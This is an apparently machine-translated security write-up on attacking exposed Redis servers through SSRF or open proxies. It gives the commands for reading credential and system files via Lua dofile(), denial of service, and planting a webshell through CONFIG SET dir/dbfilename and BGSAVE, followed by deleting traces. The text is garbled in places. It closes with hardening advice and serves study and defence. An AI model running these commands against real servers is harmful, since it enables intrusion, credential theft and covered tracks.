Trying to hack Redis via HTTP requests
0x00 Preface
The article was translated. Some modifications were made during the translation process and some additional things were added. If you are interested, you can directly read the original text. The link of the original text is located at the bottom of the article.
0x01 scenario
We assume that an SSRF vulnerability exists or an improperly configured proxy server allows attackers to directly access the Redis service through HTTP requests. In the above two cases, we are required to have at least one line of HTTP access requests completely controllable, which is easy to implement. However, the command line client (redis-cli) does not support HTTP proxy, and we need to construct our own commands. These constructed statements are encapsulated in HTTP requests and sent through a proxy. All of the tests below are in redis 2.6.0. Although not the latest version, we are using this version as the target ......
0x02 Redis Introduction
Redis is a NoSQL database (NoSQl generally refers to a non-relational database, and mysql is commonly used as a relational database). Data is stored in the memory through key/value pairs. In the default configuration, when the service is running, a TCP/6379 port without verification is opened, and the interface provided is "tolerant ". It will try to parse and process each input (until it times out or enters the 'quit' command to exit). For commands that do not exist, the output such as "-ERR unknown command" is displayed.
0x03 Target Recognition
When we use SSRF vulnerabilities or improperly configured proxy servers for further penetration, the first step is typically to scan known services. As an attacker, I learned that this service only listens to ports on the local loopback interface, and uses source-based authentication or thinks this protection method is very risky because it is not accessible externally.
During the test, the following logs will be excited:
-ERR wrong number of arguments for 'get' command-ERR unknown command 'Host:'-ERR unknown command 'Accept:'-ERR unknown command 'Accept-Encoding:'-ERR unknown command 'Via:'-ERR unknown command 'Cache-Control:'-ERR unknown command 'Connection:'
As you can see, this output proves that the http get request method is executed as a valid command in redis, but the correct parameter is not provided for this command. Other HTTP requests do not match the Redis command, and many "unknown command" error messages are displayed.
0x04 basic interaction
In the preceding scenario, the HTTP request is almost completely controllable, and the request is sent through the Squid proxy.
This includes the following two aspects:
1) The constructed HTTP request must be valid to process the request through the squid proxy.
2) requests sent to the Redis database are sent through a proxy.
The simpler method is to use POST to submit data, but it is also a good choice to inject HTTP headers. Now, enter some basic commands (the input commands are marked in blue)
ECHO HELLO$5HELLOTIME*2$101410273409$6380112CONFIG GET pidfile*2$7pidfile$18/var/run/redis.pidSET my_key my_value+OKGET my_key$8my_valueQUIT+OK
0x05 break through the space limit
As you noted, the server will return specific data, plus characters like "* 2" or "$7, this is the data returned according to the Redis protocol's binary data security requirements. If you want to use a parameter containing spaces, you must use this rule.
For example, the command SET key to "foo bar" won't be successful whether single double quotation marks are used or not. Fortunately, the Redis protocol's binary security rules are very simple:
-- Use the separator (CRLF) for each line. -- a command starts with "*" and a number is used as the parameter. The separator ("* 1" + CRLF) is required) -- When we have multiple parameters:-character: starting with "$" + Length of characters ("$4" + CRLF) + String ("TIME" + CRLF)-integer: ASCII code starting with ":" + INTEGER (": 42" + CRLF)
All the above rules
For example:
For setting the key of "I am boring" to "with_space", it is easy to set the redis-cli.
$ redis-cli -h 127.0.0.1 -p 6379 set with_space 'I am boring'+OK
Next we will apply the rule to set this command
* 3 represents the set command.
Then, the set with_space I am boring command is constructed based on the string expression of multiple parameters. The above command is equivalent to the following command.
$ echo -e '*3\r\n$3\r\nSET\r\n$10\r\nwith_space\r\n$11\r\nI am boring\r\n' | nc -n -q 1 127.0.0.1 6379 +OK
0x06 Information Collection
We can interact with the server to obtain the desired information. Some Redis commands are very useful, such as "INFO" and "config get (dir | dbfilename | logfile | pidfile )". Here, the output of the execution "INFO" on the testing machine is pasted.
# Serverredis_version:2.6.0redis_git_sha1:00000000redis_git_dirty:0redis_mode:standaloneos:Linux 3.2.0-61-generic-pae i686arch_bits:32multiplexing_api:epollgcc_version:4.6.3process_id:19114run_id:5a29a860ccbe05b43dbe15c0674fb83df0449b25tcp_port:6379uptime_in_seconds:9806uptime_in_days:0lru_clock:518932# Clientsconnected_clients:1client_longest_output_list:0client_biggest_input_buf:1blocked_clients:0# Memoryused_memory:661768[...]
The next step is to enter the file system. Redis can execute the Lua script (in the sandbox) through the "EVAL" command. The Sandbox allows the dofile () command. This command can view files and column directories. Because Redis does not have special permissions, a "permission denied" error message is displayed when you request/etc/shadow (related to the permissions of users running redis services)
EVAL “ return dofile('/etc/passwd')” 0-ERR Error running script (call to f_afdc51b5f9e34eced5fae459fc1d856af181aaf1): /etc/passwd:1: function arguments expected near ':' EVAL “return dofile('/etc/shadow')” 0-ERR Error running script (call to f_9882e931901da86df9ae164705931dde018552cb): cannot open /etc/shadow: Permission deniedEVAL “return dofile('/var/www/') ” 0-ERR Error running script (call to f_8313d384df3ee98ed965706f61fc28dcffe81f23): cannot read /var/www/: Is a directoryEVAL “return dofile('/var/www/tmp_upload/') ”0-ERR Error running script (call to f_7acae0314580c07e65af001d53ccab85b9ad73b1): cannot open /var/www/tmp_upload/: No such file or directoryEVAL “return dofile('/home/ubuntu/.bashrc')” 0-ERR Error running script (call to f_274aea5728cae2627f7aac34e466835e7ec570d2): /home/ubuntu/.bashrc:2: unexpected symbol near '#'
If the Lua script has a syntax error or you try to set a global variable, an error message is returned, which gives us the information we want.
EVAL “return dofile('/etc/issue')” 0-ERR Error running script (call to f_8a4872e08ffe0c2c5eda1751de819afe587ef07a): /etc/issue:1: malformed number near '12.04.4'EVAL “return dofile('/etc/lsb-release')” 0-ERR Error running script (call to f_d486d29ccf27cca592a28676eba9fa49c0a02f08): /etc/lsb-release:1: Script attempted to access unexisting global variable 'Ubuntu'EVAL “return dofile('/etc/hosts')” 0-ERR Error running script (call to f_1c25ec3da3cade16a36d3873a44663df284f4f57): /etc/hosts:1: malformed number near '127.0.0.1'
There is another situation, but it is not very common. It is to call the dofile () function to process valid Lua files and then return the predefined values, suppose there is a file/var/data/app/db. conf
db = { login = 'john.doe', passwd = 'Uber31337',}
Obtain the passwd value through the Lua script.
EVAL dofile('/var/data/app/db.conf');return(db.passwd); 0 +OK Uber31337
This can also obtain some information about Unix standard files:
EVAL “dofile('/etc/environment');return(PATH);” 0 +OK /usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/gamesEVAL “dofile('/home/ubuntu/.selected_editor');return(SELECTED_EDITOR);” 0+OK /usr/bin/nano
0x07 brute force cracking
Redis provides a redis. sha1hex () function, can be called by Lua script, so you can also through the Redis server SHA-1 cracking, the relevant code in the adam_baldwin GitHub (https://github.com/evilpacket/redis-sha-crack), the relevant principles of the description in
(Bytes)
0x08 Dos
There are many Dos Redis methods, such as calling the shutdown command to delete data.
Here are two more interesting examples:
1) on the Redis control end, calling dofile () without adding any parameters will read data from the standard input, and read the data as a Lua script. At this time, the server is still running, but new connections are not handled until "^ D" (or restart) is read from the control end ).
2) The Sha1hex () function can be overwritten (this effect can be achieved on any client ). The following shows a sha1hex () function that returns a fixed value.
Lua script:
print(redis.sha1hex('secret'))function redis.sha1hex (x) print('4242424242424242424242424242424242424242') endprint(redis.sha1hex('secret'))
On the control terminal of Redis
# First rune5e9fa1ba31ecd1ae84f75caaa474f3a663f05f44242424242424242424242424242424242424242# Next runs42424242424242424242424242424242424242424242424242424242424242424242424242424242
0x09 data theft
If the Redis server stores some interesting data (such as session cookies or commercial data), you can obtain the data through the get enumeration key value.
0x0A Encryption
Lua uses a completely predictable "random number", which is detailed in the evalGenericCommand () function of scripting. c.
/* We want the same PRNG sequence at every call so that our PRNG is* not affected by external state. */redisSrand48(0);
Each Lua script calls the math. random () function to generate a random number that is the same as a digital stream:
0.170828036112170.749901980510870.096371655397290.870465227342430.57730350670279[...]
0x0b Remote Command Execution
To execute commands on an open Redis server, there are three situations:
First, you can modify the underlying bytecode to escape virtual machines. (Lua's example https://gist.github.com/corsix/6575486); or bypass global protection and try to access some interesting functions.
It is easy to bypass global protection (there is an example in stackoverflow
Http://stackoverflow.com/questions/19997647/script-attempted-to-create-global-variable ). However, such interesting modules cannot be loaded. By the way, there are a lot of interesting things (http://lua-users.org/wiki/SandBoxes) here ).
The third case is relatively easy to implement. Export a half-controlled file to the hard disk. In the root directory of the web, you can back up a webshell or overwrite a shell script. The only difference is that the file name is the same as payload. The export method is the same, but note that the location of the log file to be saved cannot be modified after startup. In fact, the content in this database will be backed up to the hard disk at intervals for data recovery. The backup time depends on the configuration file or the BGSAVE command.
The following are common commands:
-Modify the location of the backup file
CONFIG SET dir /var/www/uploadsCONGIG SET dbfilename sh.php
-Insert payload into the database
SET payload “could be php or shell or whatever”
-Export data to the hard disk
BGSAVE
-Clear traces
DEL payloadCONFIG SET dir /var/redisCONGIG SET dbfilename dump.rdb
However, there is a fatal problem here. Redis sets the "0600" permission for dump data, so Apache cannot read the data. (This is what I wrote. What do you think of yuanfang ?)
0x0C how to detect unauthorized access to Redis on the Internet
Redis runs on TCP port 6379 by default. port scanning is required to determine whether the port is open.
At the same time, Python has the redis module. You can write a script to call the port scan result to determine whether the Redis service can be accessed directly.
Suggestions on Security Configuration of Redis with 0x0D
In the configuration file:
Configure the port and modify the port number. Configure the bind option to restrict the IP addresses that can connect to the Redis server. Configure the requirepass option and set the password. Configure rename-command CONFIG "" To disable some commands.
Source article:
Http://www.agarri.fr/kom/archives/2014/09/11/trying_to_hack_redis_via_http_requests/index.html
Refer:
Redis protocol: http://redis.io/topics/protocol
Redis command reference: http://redis.readthedocs.org/en/latest/